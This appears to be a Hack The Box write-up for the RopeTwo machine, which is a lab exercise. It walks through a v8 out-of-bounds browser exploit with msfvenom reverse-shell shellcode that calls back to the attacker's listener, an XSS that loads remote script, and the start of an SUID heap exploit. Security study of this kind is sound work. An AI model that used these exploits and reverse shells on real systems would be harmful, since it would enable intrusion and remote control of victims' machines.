RopeTwo, much like Rope, was just a lot of binary exploitation. It starts with a really neat attack on Google’s v8 JavaScript engine, with a couple of newly added vulnerable functions to allow out of bounds read and write. I’ll use that with an XSS vulnerability in the website to get code execution and a shell. To privesc to user, I’ll use a heap exploit in a SUID binary. The binary was very limiting on the way I could interact with the heap, which lead to my having to re-write my exploit from scratch several times. From user, I’ll escalate again by attacking a kernel module that created a vulnerable device. I’ll leak the kernel memory to get past KASLR, and use some common kernel exploit techniques to execute a ROP chain and return a root shell. In Beyond Root, I’ll look at the unintended method used to get first blood on this box.
nmap found five open TCP ports, SSH (22), HTTP hosting GitLab via NGINX (5000), HTTP via Python (8000), HTTP via NGINX (8060), and unknown (9094):
root@kali#nmap -p---min-rate 10000 -oA scans/nmap-alltcp 10.10.10.196
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 06:31 EDT
Nmap scan report for 10.10.10.196
Host is up (0.020s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
8000/tcp open http-alt
8060/tcp open aero
9094/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
root@kali#nmap -p 22,5000,8000,8060,9094 -sC-sV-oA scans/nmap-tcpscripts 10.10.10.196
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 06:31 EDT
Nmap scan report for 10.10.10.196
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
|_http-title: Home
8060/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds
The OpenSSH version is newer than any of the default packages for Ubuntu, but it does indicate the OS is Ubuntu.
My guess is that this is the default GitLab robots.txt file. In fact, it looks very similar (though slightly different from the one in the GitLab source code. Any of the paths I tried redirected to the login screen or didn’t provide anything new.
I can click the Explore link at the bottom left, and under the “All” tab, there is a single project:
It’s the code for Google’s v8 Javascript engine, which looks to be a clone of the public v8 repo:
Arrays are 0 indexed, so this is reading / writing one element beyond the end of the array. Googling for “v8 exploit oob” (oob = out of bounds) returns a bunch of CTF solutions, which is promising for me:
JavaScript Background
Exploit Strategy
Before going into the background, I wanted to give a highlevel idea of how the exploit will work. The idea is that I am going to create an array of doubles, which will have this new function added by r4j that allows read / write beyond the end of the array. That just so happens to provide read/write on the memory that describes what’s in the array. I can change identifier between array of doubles and array of objects, which changes how JavaScript handles the values. For doubles, it gets the values from there. For objects, it has pointers to the objects. Being able to write something as a number and then change it to a pointer or vice versa will lead to arbitrary read and write in memory, which leads to execution.
Debugging
Build d8
d8 is the JavaScript REPL created by Google for v8. It’s the same engine that will run in the browser, but I can test from the command line and debug it with gdb to see memory. I’m also going to work on a Ubuntu VM, as that’s where these tools are made to run.
I’ll take the following steps to build both debug and release copies of d8 with the vulnerable functions from RopeTwo. First, install Google’s “depot_tools”:
I’ll need a way to get the RopeTwo version of v8 to my box. I could probably do it from the GitLab server, but I instead went to the r4j commit, and at the top right, hit the “Options” button and selected “Plain Diff”:
I saved the resulting text as r4j.diff.
Now, I’ll get v8, go into that directory, run the build dependencies script (output removed for readability):
Now there’s a db binary in each of the two folders. The debug version will provide more information in the REPL, but it won’t allow for out of bounds reads/writes without crashing (to support fuzzing), and so I’ll need the release version when I start exploiting.
To debug, I’ll start gdb on one of the d8 binaries:
df@buntu:~/v8$gdb -q out.gn/x64.release/d8
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from out.gn/x64.release/d8...
(No debugging symbols found in out.gn/x64.release/d8)
gef➤
I’ll start d8 with two flags:
--allow-natives-syntax will provide access to extra commands like %DebugPrint which will be useful;
--shell will drop to a REPL even if I pass it a file to run, kind of like -i in Python.
gef➤run --allow-natives-syntax--shellStarting program: /home/df/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f9e1b674700 (LWP 35328)]
V8 version 8.5.0 (candidate)
d8>
I’ll make more use of the --shell later as I start to build functions that provide value in a file, and want to start, run that file to get access to those functions, and then drop to a shell.
JavaScript Arrays
This post, Exploiting Logic Bugs in JavaScript JIT Engines is a super detailed post that gives a ton of background on this stuff. I’ll use it, along with a handful of references I’ll cite as I go through this to show how this works.
Because the two new functions provide out of bounds read and write in JavaScript arrays, I’ll need to understand what those look like in memory. This post does a nice job laying it out, and I’ll use their diagram below. When I create an array [1, 2, 3, 4], JavaScript creates two objects, a JSArray object and a FixedArray object:
The Map Pointer in the JSArray object points to a map object that tells d8 what kind of data to expect and how to refer to the different indexes in the FixedArray object. The array length is also held in the JSArray. The “Backing Store Length” is not used for anything I care about.
JavaScript Pointer Compression
In the diagram above, each word is 32-bits. On a x64 machine, there are three kinds of fields that d8 will use:
Doubles - 64 bit words representing floating point numbers;
Immediate Small Integers (Smi) - 31 bit integer values, stored in memory shifted up one bit so that the lowest bit is always 0 (hence why 1, 2, 3, 4 shows up as 2, 4, 6, 8 in the diagram above);
Pointers - represented as 32-bits with the low bit always 1 (it’s important to subtract 1 when looking at memory in gdb), and the upper 32-bits the same for any given process.
The Smis and pointers were different before v8.0, where V8 implemented what they call pointer compression, which reports to reduce memory usage by 40%. Before this, but Smis and pointers used the full 64-bit word on a x64 machine. This is important to note because one of the CTF walkthroughs I’ll follow are based on versions before pointer compression, so the output will look a bit different.
Exploring Memory
Array of Doubles
Faith (who graciously helped me with a lot of this process) has this excellent writeup for a 2019 *ctf challenge, oob-v8. Before going into exploitation, he shows how memory is set up for various arrays. This example is before pointer compression, so I’ll show the same examples on this version from RopeTwo.
I’ll start with the debug version in gdb:
df@buntu:~/v8$gdb -q out.gn/x64.debug/d8
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from out.gn/x64.debug/d8...
gef➤run --allow-natives-syntaxStarting program: /home/df/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fc904992700 (LWP 35399)]
V8 version 8.5.0 (candidate)
d8>
Create an array of doubles, and look at it. %DebugPrint will show details about the object:
The Map information shows the elements kind as PACKED_DOUBLE_ELEMENTS. The Elttam post talks about this as well. This means the array contains only 64-bit floats and has a value in every slot.
If I drop out of the db prompt into gdb (Ctrl-c), I can look at the memory address of this array:
The first word is the pointer to the map object, which once I add the top 32-bits, matches the debug output above, 0x25cc08281909. The second is the properties, then the elements, and finally the length of 2 (need to divide by two to account for the left shift).
The elements object has it’s own map, and a backing length, and then the two double word values:
Again, it’s the elements kind in the map that tells v8 to read the elements as 64-bit floats and not 32-bit pointers.
What’s particularly interesting is that just after the second double (0x400199999999999a == 2.2) comes the JSArray object. I’ll come back to this later.
Array of Objects
Instead of doubles, what happens with an array containing an object:
This time, the obj_arr is of type PACKED_ELEMENTS (contiguous pointers), and obj is of type HOLEY_ELEMENTS, which makes sense, since it’s a dictionary.
Looking at the memory, starting with the obj_arr object:
That’s map for elements, length (2 » 1 == 1), pointer to obj, and then the map for obj_arr. The way that v8 knows to read that as a pointer to obj and not read a double is the map. This is critical, because I’ll be messing with the map data in the exploits to come.
Maps
There’s one more important thing to know about maps. If two objects have the same structure, they will share the same map. The phrack paper uses this example / diagram:
Faith’s writeup of oob-v8 provides a nice roadmap for exploitation here, and I’ll try to call out where I diverge from it.
ftoi and itof
I’ll start my script with a couple of helper functions. Because my out of bounds reads will be looking to return doubles (floats), I’ll want some code to convert those back to hex values. Similarly, I’ll need a way to take an int to a float to write. These functions come directly from the above post:
/// Helper functions to convert between float and integer primitivesvarbuf=newArrayBuffer(8);// 8 byte array buffervarf64_buf=newFloat64Array(buf);varu64_buf=newUint32Array(buf);functionftoi(val){// typeof(val) = floatf64_buf[0]=val;returnBigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);// Watch for little endianness}functionitof(val){// typeof(val) = BigIntu64_buf[0]=Number(val&0xffffffffn);u64_buf[1]=Number(val>>32n);returnf64_buf[0];}
I’ll save those in my exploit.js.
Now that I’m going to be reading / writing across bounds, I’ll use the release d8:
df@buntu:~/v8$gdb -q out.gn/x64.release/d8
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from out.gn/x64.release/d8...
(No debugging symbols found in out.gn/x64.release/d8)
gef➤run --allow-natives-syntax--shell exploit.js
Starting program: /home/df/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell exploit.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f4f99173700 (LWP 35638)]
V8 version 8.5.0 (candidate)
d8>
I’ll create an array, a (%DebugPrint shows much less on the release d8):
When I add the high 32-bits and subtract one, it shows the pointer to the map, the size, the two floats (each two words), and then the next two pointers which are the original map and properties, and what returned from GetLastElement:
I will use these vulnerable functions to create my first exploit primitive, addrof. addrof is a function that takes an object and returns its address in memory. The exploit here will rely on the out of bounds read and write to mess with the maps for various objects. Because of the nature of the functions that allow my out of bounds access and pointer compression, there’s a bit of a curve ball as compared to Faith’s writeup of oob-v8. When I create an object like var a = [1.1], memory looks like:
So when I call GetLastElement, it casts all the memory as 64-bit floats, and then reads past value and returns the map pointer and the properties. So far, just like the post.
The trick comes when I create var b = [{"A": 1}]. Instead of 64-bits representing 1.1, there’s now a pointer to the object {"A":1}. But because of pointer compression, that’s a 32-bit pointer. So calling GetLastElement casts everything to be doubles, so that pointer + the map pointer is element 0, and then the properties and the elements pointer are object 1, which is returned.
This does give me access to the elements pointer, which provides a different exploitation path as well. But to continue down this path of messing with maps, I’ll need to jump through a couple extra hoops to get things to align:
Start with an array with a single float in it, so that the memory aligns how I want it.
Change the map to reflect an array with a single object.
Set the first element of the array to the object I want to locate. Because the map is the same, the elements pointer won’t change, which is what I want, and the pointer will overwrite the first half of the original float.
Change the map back to a float.
Read the value of the first object (index 0) of the array, which contains the pointer to the object, which comes back as as float.
In practice, I’ll start a d8 shell in gdb with I’ll start with exploit.js providing the two functions in the previous section.
gef➤run --allow-natives-syntax exploit.js --shellStarting program: /home/df/v8/out.gn/x64.release/d8 --allow-natives-syntax exploit.js --shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fb0ed6ad700 (LWP 63204)]
V8 version 8.5.0 (candidate)
d8>
I’ll create an object, obj. I can run %DebugPrint here to see the address in memory, but I won’t have access to that in a live exploit.
I can leak that map (and the properties as I get 64-bits, but the map pointer is compressed to 32-bits) using the GetLastElement function:
d8>ftoi(arr.GetLastElement()).toString(16);"80406e908241909" <-- low word is map, high is props
d8>^CThread 1 "d8" received signal SIGINT, Interrupt.
__GI___libc_read (nbytes=0x400, buf=0x55a7e1620250, fd=0x0) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤x/4xw0x3ecd080889b9-10x3ecd080889b8: 0x08241909 0x080406e9 0x080889a9 0x00000002
I don’t have a good way to leak a map of an array with a single object in it (remember the vulnerable function is only for arrays). But through some analysis in gdb, it looks like that maps is always 0x50 bytes past the map for [1.1]. Knowing that, I can change the map, and then put the object I’m targeting into this array:
fakeobj is another exploit primitive that is the inverse of addrof. If addrof lets me find out the address of an object, fakeobj lets let create an object anywhere in memory and then read from and write to it. I’ll set the address into place while arr is a float array, and then switch it to an object array. Now the first half of the double I wrote will be handled as a compressed pointer, so I can get that object and return it. I’ll also set arr back to a float array before returning.
With these two primitives, I can now create an arbitrary read function, arbread. I’ll start by creating another floats array, but this time, the first element will be the float array map (and properties). I can look at the memory involved here (I’ve labeled the memory in that last dump):
Next, I’ll create a fake object located at addrof(arr2) - 0x20. This lines up with the 0 element, which I’ve already started setting up to contain a map and properties. I’ll set the 1 element to be eight bytes before the address I want to read, and the length to 1 (so 2):
d8>arr2[1]=itof((2n<<32n)+0x808694dn-8n)4.3105762977e-314
d8>^CThread 1 "d8" received signal SIGINT, Interrupt.
__GI___libc_read (nbytes=0x400, buf=0x55be0d8e3eb0, fd=0x0) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/16xw 0x08750808692d-1-0x30
0x875080868fc: 0x00000000 0xfffffffe 0x08040a3d 0x00000008
0x8750808690c: 0x08241909 0x080406e9 0x08086945 0x00000002 <-- fake map, props, elements, len
0x8750808691c: 0x9999999a 0x40019999 0x66666666 0x400a6666
0x8750808692c: 0x08241909 0x080406e9 0x08086905 0x00000008
Now if I read fake[0], it will return the double located at 0x808694d (minus 1 for pointers):
d8>ftoi(fake[0]).toString(16)"208040975"
d8>^CThread 1 "d8" received signal SIGINT, Interrupt.
__GI___libc_read (nbytes=0x400, buf=0x55be0d8e3eb0, fd=0x0) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤x/xg0x8750808694c0x8750808694c: 0x0000000208040975
I’ll add that as a clean function to my exploit.js file:
To do an arbitrary write, I’ll do the same thing, setting the fake object’s elements array address and then setting the 0 element (as opposed to reading it):
With the primitives I need in place, generate the exploit, continuing along in Faith’s oob-v8 writeup with the WebAssembly Technique.
Create RWX Segment
I’m planning to write some shellcode to memory and then execute it. In order to do this, I’ll need a RWX memory segment, and WebAssembly is a way to do that. I’ll yank the code right from Faith’s post:
Checking the fiddle page in the comment, I can see that this code is just the web assembly for:
intmain(){return42;}
Find Segment
I’ll need a way to find the start of the the segment. I’ll start by re-running the the new wasm lines added to exploit.js, and then I’ll drop to gdb and run the GEF command vmmap to list all the segments:
The offset from the ArrayBuffer to the backing store changed from 0x20 to 0x14 (pointer compression). I can find that with the debug version of d8:
df@buntu:~/v8$gdb -q out.gn/x64.debug/d8
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from out.gn/x64.debug/d8...
gef➤run --allow-natives-syntax--shellStarting program: /home/df/v8/out.gn/x64.debug/d8 --allow-natives-syntax --shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f09e2100700 (LWP 67750)]
V8 version 8.5.0 (candidate)
d8>var buf = new ArrayBuffer(8);undefined
d8>%DebugPrint(buf);DebugPrint: 0x935080c5e29: [JSArrayBuffer]
- map: 0x093508281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0935082478c1 <Object map = 0x935082811b1>
- elements: 0x0935080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x555ab153a820
...[snip]...
d8>^C
Thread 1 "d8" received signal SIGINT, Interrupt.
__GI___libc_read (nbytes=0x400, buf=0x555ab15c0180, fd=0x0) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤x/12xw 0x935080c5e29-1
0x935080c5e28: 0x08281189 0x080406e9 0x080406e9 0x00000008
0x935080c5e38: 0x00000000 0xb153a820 0x0000555a 0xb159dc30 <-- backing store at 0x14
0x935080c5e48: 0x0000555a 0x00000002 0x00000000 0x00000000
For now, I’ll let the shellcode be four 0xCC, which is the INT3 instruction that sets a breakpoint. If I hit this code, gdb will break. When I run this, it does!
gef➤run --allow-natives-syntax exploit.js --shellStarting program: /home/df/v8/out.gn/x64.release/d8 --allow-natives-syntax exploit.js --shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fd766778700 (LWP 67784)]
[*] Creating WASM RWX page
[+] Found pointer to wasm_instance: 0x82112bd
[+] Found address of rwx page: 0x3937f5d78000
[*] Copying shellcode tp rwx page
[*] Executing shellcode...
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00003937f5d78001 in ?? ()
The RIP is at 0x00003937f5d78001, and the leaked rwx page address is 0x3937f5d78000, so that’s a hit!
Weaponize Shellcode
Next I need to put real shellcode in. I’ll start with a payload that will get a reverse shell from my Ubuntu dev VM back to my Kali VM on my local nextwork. msfvenom has the payload format dword, which I can use to get the shellcode in a format I can drop into exploit.js:
root@kali#msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.1.1.140 LPORT=443 -f dword
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 76 bytes
Final size of dword file: 232 bytes
0x9958296a, 0x6a5f026a, 0x050f5e01, 0xb9489748, 0xbb010002, 0x8c01010a, 0xe6894851, 0x6a5a106a,
0x050f582a, 0x485e036a, 0x216aceff, 0x75050f58, 0x583b6af6, 0x2fbb4899, 0x2f6e6962, 0x53006873,
0x52e78948, 0xe6894857, 0x0000050f
Start nc on kali and update exploit.js. Now I’ll run it in d8:
gef➤run --allow-natives-syntax exploit.js --shellStarting program: /home/df/v8/out.gn/x64.release/d8 --allow-natives-syntax exploit.js --shell
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f05e643e700 (LWP 67861)]
[*] Creating WASM RWX page
[+] Found pointer to wasm_instance: 0x82112a5
[+] Found address of rwx page: 0x8ac78c42000
[*] Copying shellcode tp rwx page
[*] Executing shellcode...
[Thread 0x7f05e643e700 (LWP 67861) exited]
process 67857 is executing new program: /usr/bin/dash
It hangs here, but at nc, there’s a shell:
root@kali#nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.1.1.163.
Ncat: Connection from 10.1.1.163:40672.
id
uid=1000(df) gid=1000(df) groups=1000(df),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(vboxsf)
hostname
buntu
I could also run it outside of gdb, which is a good check to make sure I removed any %DebugPrint calls, which will fail without --allow-natives-syntax:
df@buntu:~/v8$out.gn/x64.release/d8 exploit2.js
[*] Creating WASM RWX page
[+] Found pointer to wasm_instance: 0x82112a5
[+] Found address of rwx page: 0x215ea6e9d000
[*] Copying shellcode tp rwx page
[*] Executing shellcode...
Remote Shellcode
I’ll do the same thing, this time with my HTB Tun0 IP:
root@kali#msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 -f dword
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 76 bytes
Final size of dword file: 232 bytes
0x9958296a, 0x6a5f026a, 0x050f5e01, 0xb9489748, 0xbb010002, 0x0e0e0a0a, 0xe6894851, 0x6a5a106a,
0x050f582a, 0x485e036a, 0x216aceff, 0x75050f58, 0x583b6af6, 0x2fbb4899, 0x2f6e6962, 0x53006873,
0x52e78948, 0xe6894857, 0x0000050f
I’ll update exploit.js. The final full version is here.
Find XSS
With an exploit for the vulnerable browser, I need some way to get the user on RopeTwo to load JavaScript from my host. I went back to /contact on port 8000. I had tried some basic XSS attempts during initial enumerations (like sending a link to be clicked) without luck. But here I want their browser to load script from me, so I tried a script tag:
root@kali# nc -lnvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.196.
Ncat: Connection from 10.10.10.196:48812.
GET/script.jsHTTP/1.1Host:10.10.14.14Connection:keep-aliveUser-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4157.0 Safari/537.36Accept:*/*Accept-Encoding:gzip, deflateAccept-Language:en-US
Looks like I have a way to get RopeTwo to load script.
Shell
I’ll combine all this to get a shell. I’ll start a Python HTTP server to serve exploit.js, and start a nc listener. Then I’ll submit:
At nc, a shell connects:
root@kali#nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.196.
Ncat: Connection from 10.10.10.196:58812.
id
uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)
I’ll also add my public SSH key to the chromeuser’s authorized_keys file for SSH access.
Priv: chromeuser –> r4j
Enumeration
There’s not anything in chromeuser’s home directory except for the web stuff used to get a shell. There’s a second user on the box, r4j. chromeuser can’t access r4j’s home directory, but I did go looking for files owned by r4j:
It’s a bit of a troll, because running id or whoami will give the impression that I just got a shell as r4j. But on trying other commands, it’s clear that this isn’t a normal shell:
$pwdrshell: pwd: command not found
$cd /
rshell: cd /: command not found
Main Loop
I opened it in Ghidra to take a look. On searching for the string “command not found”, I landed in the function at 0x1019be, which I’ll name process_input. The function that calls this function is 0x101b93, which I’ll call main_loop:
It initializes some stuff, and then enters an infinite loop, printing $ , reading in up to 200 characters, null terminating the input, and passing it to process_input, which takes action based on the first few characters in the input:
Input Starts With
Action
“ls “
call do_ls [0x1015cf]
“add “
calls do_add(user_input[4:]) [0x101345]
“rm “
calls do_rm(user_input[3:]) [0x10166d]
“echo “
prints back the rest of the string
“edit “
calls do_edit(user_input[5:]) [0x1017d8]
“whoami”
prints “r4j”
“id”
prints “uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)”
Anything else
prints “rshell: %s: command not found”
Commands
The program keeps up to two “files” at a time, where file1 on is a global at 0x104060, and file2 is at 0x104130. For each file, the first eight bytes contain a pointer to a heap buffer created by malloc of a user provided size containing the file contents. There is a check that only allows sizes less than or equal to 0x70 bytes. The last 0xC8 (200) bytes hold the name of the file. The add function ensures that a second file cannot have the same name as an existing file, and that no more than two files can be added. This will be the biggest constraint in exploiting this binary, as it’s quite difficult to manipulate the heap to where you want it with only two files at a time.
The ls command loops over the two slots, and if the pointer is non-null, it will print the name of the file. It does not print any contents, and there’s no way to legitimately get the contents of a file, which provides another major hurdle to overcome in exploitation.
The rm command loops over the two slots looking at the string at offset eight, and if the string matches the input, the it sets the string filename to all null, frees the heap memory with the contents, and sets the pointer to null.
The edit command is where the vulnerability exists.
voiddo_edit(char*param_1){intstrcmp_res;longin_FS_OFFSET;uintread_size;inti;void*new_buf;longcanary;canary=*(long*)(in_FS_OFFSET+0x28);i=0;do{if(1<i){puts("rshell: No such file or directory");LAB_001019a8:if(canary!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}strcmp_res=strcmp(param_1,(char*)((long)i*0xd0+0x104068));if((strcmp_res==0)&&((&item_array)[(long)i*0x1a]!=0)){read_size=0;printf("size: ");__isoc99_scanf("%u",&read_size);getchar();if(read_size<0x71){new_buf=realloc((void*)(&item_array)[(long)i*0x1a],(ulong)read_size);if(new_buf==(void*)0x0){puts("Error");}else{*(void**)(&item_array+(long)i*0x1a)=new_buf;printf("content: ");read(0,(void*)(&item_array)[(long)i*0x1a],(ulong)read_size);}}else{puts("Memory Error!");}gotoLAB_001019a8;}i=i+1;}while(true);}
This loop first checks if i is greater than 1, which indicates that it’s looped through both configs and not found a matching file to edit, in which case it prints an error message and exits. It then checks the current item to see if the name matches the input, and if so, it prompts for a new size (ensuring that it’s less than 0x71), and uses realloc on the existing buffer. Then it reads in and stores the content, and completes.
Configuration
Exploit Script
To interact with this binary, I’ll use a handful of tools. First, I’ll start a Python exploit script. To start, it will just have methods to interact with the various commands in rshell (this script presumes that my ssh public key is in the authorized_keys file for chromeuser):
For initial development, I turned of ASLR on my host by running echo 0 > /proc/sys/kernel/randomize_va_space. This will allow me to put a break where I want it without having to adjust each time.
To track the heap I used Pwngdb (not to be confused with pwndbg). The heapinfo command prints a nice view of the various freed bins.
Putting all of this together, I created the following init file for gdb:
set pagination off
b *0x0000555555555c2b
command 1
echo -----------------------------------\n
set $cont1p = *((long int*)0x555555558060)
set $cont1 = *(char[]*)$cont1p
set $name1 = *(char[]*) 0x555555558068
printf "[0x%08x%08x] %-8s: %s\n", $cont1p >> 32, $cont1p, $name1, $cont1
set $cont2p = *((long int*)0x555555558130)
set $cont2 = *(char[]*)$cont2p
set $name2 = *(char[]*) 0x555555558138
printf "[0x%08x%08x] %-8s: %s\n", $cont2p >> 32, $cont2p, $name2, $cont2
echo -----------------------------------\n
x/48xg 0x55555555c2f0
echo -----------------------------------\n
heapinfo
continue
end
This will set a breakpoint at 0xc2b, which is before the next command is read. At this break point, it will figure out the name and content for both files, and print the results. It will then print 48 words from the heap in the area I’m most working (I did modify this address as I was focused on different parts of the heap). Finally it will run heapinfo to show the bins. Then it will continue. In this way, I can step through the Python script and run functions from there, and the gdb window will continue to print the status after each command.
I did comment out the sourcing of Peda in my ~/.gdbinit file because I couldn’t get it to stop printing the context on each break, which bumped all this info I was printing off the screen.
Putting It Together
Now I’ll start the Python script with the Python debugger (pdb) set to stop on that last line so I can continue to run commands after:
root@kali#python3 -mpdb-c'b 58'-c c pwn_rshell.py
Breakpoint 1 at /media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/pwn_rshell.py:58
[*] '/media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/rshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/libc.so.6-ropetwo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './rshell': pid 16061
> /media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/pwn_rshell.py(58)<module>()
-> x = 1
(pdb)
Now in another pane I’ll attach gdb, and then tell it to continue:
root@kali#gdb -q-p$(pidof rshell)--command=gdb-rshell.init
Attaching to process 16061
Reading symbols from /media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/rshell...
(No debugging symbols found in /media/sf_CTFs/hackthebox/ropetwo-10.10.10.196/rshell)
Reading symbols from ./libc-2.29.so-debug...
Reading symbols from ./ld-linux-x86-64.so.2...
(No debugging symbols found in ./ld-linux-x86-64.so.2)
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7fffffffdf90, nbytes=199) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Breakpoint 1 at 0x555555555c2b
(gdb) c
Continuing.
This exploit was crazy to develop. Every time I got to the next step, I had to go back and completely rearchitect the previous one, moving around blocks, trying different size bins. It would be impossible for me to show all these steps in this post, but rather, I’ll try to walk through the different goals accomplished in the finished script and show how the script is used to manipulate the heap to do what I need. But it’s worth adding that the first time I got a libc address onto the heap, my code looked totally different. When I got to the next step, I would use the same general techniques, but I needed to completely rework the spacing and sizing of the different bins to accomplish both the goals I’d already achieved and the next one.
Vulnerability
Description
The vulnerability here is with realloc in the edit command, and how it reacts based on the current size and the new size:
Size Comparison
Action
new_size == 0
free(buffer), return null
new_size > 0 && new_size < orig_size
Break into two chunks, returning same address with smaller chunk, and leaving free chunk at end of old chunk
new_size > 0 && new_size > orig_size
Free old chunk, allocate a new chunk for larger size, and return that address.
The code above checks if the return is null, but then just prints a message and doesn’t change the stored pointer. This leaves the user with a pointer into freed memory, which is bad.
This is something exploitable because I still have a pointer to edit 2, even though it’s been freed. This means I can change the tcache linked list by editing 2.
Get libc on Heap
Strategy
The path from this small vulnerability to code execution is not obvious. Because of ASLR, the first thing I’ll need to do is leak something from libc. To do this, first I’ll need to get something from libc onto the heap. When I free these small bins, they are going into tcache, which is a bunch of singly-linked lists starting in libc, and then each item on the list container the pointer to the next item. But the other types are double-linked lists. That means that each node points to both the node after it and the node before it, so the first node will have the address of the start in libc. I can get something into the unsorted bin by filling tcache with 7 bins of a given size, and then freeing one more.
This will take a ton of bouncing around when I’m limited to only two “files” at one time by the program.
Spacing
ASLR and Full RELRO will change all but the low 12-bits for each word. I can run the program over and over, and as long I as I define the same chunks in the same order, the low 12-bit of each address will be the same. This means that I can find places where I can overwrite just the low byte in an address, and therefore change it without knowing the high bytes. This also means there will be times where I want to start in a certain space. If I create a fake chunk at 0x2e0, and I can’t overwrite a pointer that currently points to 0x320. But If I just add a small chunk to the heap at the start and shift those to 0x310 and 0x350, now I can just overwrite the low 0x50 with 0x10.
Fake Chunk
I’m going to create a fake overlapping chunk that can write through the metadata of the next chunk. I can pick up in the example above, but instead of the first chunk writing nothing of interest, I’ll have it write something that looks like heap metadata, for example, a 0x61:
add('A',0x40,p64(0)*5+p64(0x61)+p64(0))# A at 260 in f1
